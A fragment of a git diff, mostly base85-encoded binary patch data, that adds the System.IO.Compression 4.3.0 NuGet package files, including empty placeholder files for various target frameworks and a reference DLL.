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 literal 0 HcmV?d00001 diff --git a/packages/System.IO.Compression.4.3.0/lib/portable-net45+win8+wpa81/_._ b/packages/System.IO.Compression.4.3.0/lib/portable-net45+win8+wpa81/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/win8/_._ b/packages/System.IO.Compression.4.3.0/lib/win8/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/wpa81/_._ b/packages/System.IO.Compression.4.3.0/lib/wpa81/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/xamarinios10/_._ b/packages/System.IO.Compression.4.3.0/lib/xamarinios10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/xamarinmac20/_._ b/packages/System.IO.Compression.4.3.0/lib/xamarinmac20/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/xamarintvos10/_._ b/packages/System.IO.Compression.4.3.0/lib/xamarintvos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/lib/xamarinwatchos10/_._ b/packages/System.IO.Compression.4.3.0/lib/xamarinwatchos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/MonoAndroid10/_._ b/packages/System.IO.Compression.4.3.0/ref/MonoAndroid10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/MonoTouch10/_._ b/packages/System.IO.Compression.4.3.0/ref/MonoTouch10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/net45/_._ b/packages/System.IO.Compression.4.3.0/ref/net45/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/net46/System.IO.Compression.dll b/packages/System.IO.Compression.4.3.0/ref/net46/System.IO.Compression.dll new file mode 100644 index 0000000000000000000000000000000000000000..f8468a652440be5ecce5ee80442d8a5e66c99d37 GIT binary patch literal 111984 zcmb@v34m0^wLV_=cK7Xln4YD3W`OA#mfOiW^;$xB`${=e^3bod)e~-rZsEx zC#+q#s%i1U)vNO-H!WJ)wDy$MP0Lp|?R)sFrd9bROWWe{$QZ-=i2am0#PTV7(a7FX zZf~klO;M{usb!W@F&(;L9{f%4-+-r5mEyOx+zg=n@_Q5U2)}884ZWtHLsI@f_%u*c zt1S2)PCxjr37bGZP6eKZ=Z`HB;j&{aHNq49AH7XVg*-$d-~&Cl?c}AWpA7u(6Cf|* zL|4e|{WU4Iplxmc+QkSI*&w5e0Ia~%^P7(1YFoQ>WgdiLF33z9sFQc0+uM^&ybEYo z{3x5P0_wagmHP18N|j7;`kt1$It`ma{{a&Ihu_)_0Tf1Vn0uH~PCtZ*3@|`KTO-NV z;T=B3vPZ6onuv>sW9Lx;Bat1xmL1BMjoD5^9;F${+P+q&)snKaRYj%pK_=@OU$)r= zTPIs(uSM!LKGy-U8-&wp`&`%@&(<3?O}&uRT?~HK*ra{q*p%-^p(iQWMOyFIgd>Hp zehA^%I)9ni@51hp)~7XfvrsqeLOr%VFqk6XMwz5*Eks*W<3dLVU=J_o_k!EK;4Lo* zqAHddO!0#GUT}^V-0lTWc!6bmxp~1UUhq{fxZ4Zf@Pb;OhuhI!aK0BjxYP?C@`CrgpgH8>cC;5<>IHXu!HZt-H!m0+_Hf(B3r_TcEne`57rfyG zfry9O!CtV`3pRVfqh9b&FBli~a68-!PV<7>z2Mh_pluu4q3xoVjI>^F=b~#z$JCns zIN&wrU4o^neN5#Yl(lmQs*u z9avJ_XwY3s)%{2bxrNO;$=1WtV=jiK*4S-_TgvYyDd}1}y;oPjPS5SEw9^Z_!ghMy zPCL2NYE8DLTB*Ys$csOnOVg)kDz!ET8@tT3kLI%7xy&r#q1fps3w!M}5NeZTN9gFa z`<2r63NJ$`Dy*ILd2x-lI|uw*kGHcmCJR5tiLRjS_A%UU{jKdTgfAB|lF-nS^>8VT zY}~GsZ1XA6n7P<`e1Tro9k!Y+8nPZ8Lp}%TY#O?z*-5ddyBNXQPCMm6qwP9D>9)3L z$vdq(Zr2ae7#rGZpAvsjv!ScU@J-L_&KaiZd0?aYr>AwN206wI$MifY6p@$H7?wXO zYDc-q)9DU7)f!As9v=&)N3|v3Yl~&zpV}4(rq_2PQmU|4uIpz>wgX#D0WS>bs7s=| zFPVu9mP5pep;CoJrD!nSN>0{J){PXEZ2~>N^fP+J5IGJ5#3Y+AB=B@X58ngeJjA>7OLYr0&WR)ln$B ztnHu)9AS_0ia{sl5%euuh;nK`T%no{z zRI&>WNe1~w#I^)cTlTgSfgvJ{Ml~rZpFpHH*Ib39j)WY|fU(tqM8M>KZz!JzU)V&O zF)U?di%r^^K7~03FzWbQF`M-V++{EY>V=~^(cfWmn@Gm&+J%)W(0EMa+;|||SM5($ z2YOy*N&5Voeb9At=r#P(8;_Yb^3zX0O;$UZQ5#4HWyhwV&gO+C4`{&zsFT%B!b$kMekpb`x|4d1H<&$DmF5Tia}3GFjuUVnu=9@AU^v_%*iMggWQL+~`=0d}eM`;djqKDye5@ zGx_y)0af0g>W;cO;QnT$!4ztMMDAI13t;1KZPau!H^3Bt%h!bMt5Q2_(en>?+;wC& z34HrUAyUKP=-c)LE!Iz%3+-VS#)4C>U2}>!`(cj6aijdR-AxGCQDM6qnQ^K}`qx{P 